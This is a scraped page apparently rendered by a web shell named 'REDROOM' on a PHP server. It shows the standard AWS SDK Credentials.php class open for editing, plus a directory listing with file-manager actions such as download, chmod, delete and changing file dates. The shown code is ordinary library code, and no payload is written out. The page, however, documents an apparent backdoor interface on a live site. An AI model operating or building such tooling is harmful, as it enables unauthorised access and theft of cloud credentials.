REDROOM
PHP 7.4.33
Path:
Logout
Edit File
Size: 2.76 KB
Close
/home/godevadmin/www/admin/vendor/aws/Aws/Credentials/Credentials.php
Text
Base64
<?php namespace Aws\Credentials; /** * Basic implementation of the AWS Credentials interface that allows callers to * pass in the AWS Access Key and AWS Secret Access Key in the constructor. */ class Credentials implements CredentialsInterface, \Serializable { private $key; private $secret; private $token; private $expires; /** * Constructs a new BasicAWSCredentials object, with the specified AWS * access key and AWS secret key * * @param string $key AWS access key ID * @param string $secret AWS secret access key * @param string $token Security token to use * @param int $expires UNIX timestamp for when credentials expire */ public function __construct($key, $secret, $token = null, $expires = null) { $this->key = trim($key); $this->secret = trim($secret); $this->token = $token; $this->expires = $expires; } public static function __set_state(array $state) { return new self( $state['key'], $state['secret'], $state['token'], $state['expires'] ); } public function getAccessKeyId() { return $this->key; } public function getSecretKey() { return $this->secret; } public function getSecurityToken() { return $this->token; } public function getExpiration() { return $this->expires; } public function isExpired() { return $this->expires !== null && time() >= $this->expires; } public function toArray() { return [ 'key' => $this->key, 'secret' => $this->secret, 'token' => $this->token, 'expires' => $this->expires ]; } public function serialize() { return json_encode($this->__serialize()); } public function unserialize($serialized) { $data = json_decode($serialized, true); $this->__unserialize($data); } public function __serialize() { return $this->toArray(); } public function __unserialize($data) { $this->key = $data['key']; $this->secret = $data['secret']; $this->token = $data['token']; $this->expires = $data['expires']; } public function extendExpiration() { $extension = mt_rand(5, 10); $this->expires = time() + $extension * 60; $message = <<<EOT Attempting credential expiration extension due to a credential service availability issue. A refresh of these credentials will be attempted again after {$extension} minutes.\n EOT; error_log($message); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 7
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
AssumeRoleCredentialProvider.php
1.95 KB
lrwxrwxr-x
2024-06-18 20:10:08
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
AssumeRoleWithWebIdentityCredentialProvider.php
6.13 KB
lrwxrwxr-x
2024-06-18 20:10:08
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CredentialProvider.php
34.11 KB
lrwxrwxr-x
2024-06-18 20:10:08
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Credentials.php
2.76 KB
lrwxrwxr-x
2024-06-18 20:10:08
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CredentialsInterface.php
1.16 KB
lrwxrwxr-x
2024-06-18 20:10:08
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
EcsCredentialProvider.php
3.96 KB
lrwxrwxr-x
2024-06-18 20:10:08
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
InstanceProfileProvider.php
10.38 KB
lrwxrwxr-x
2024-06-18 20:10:08
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).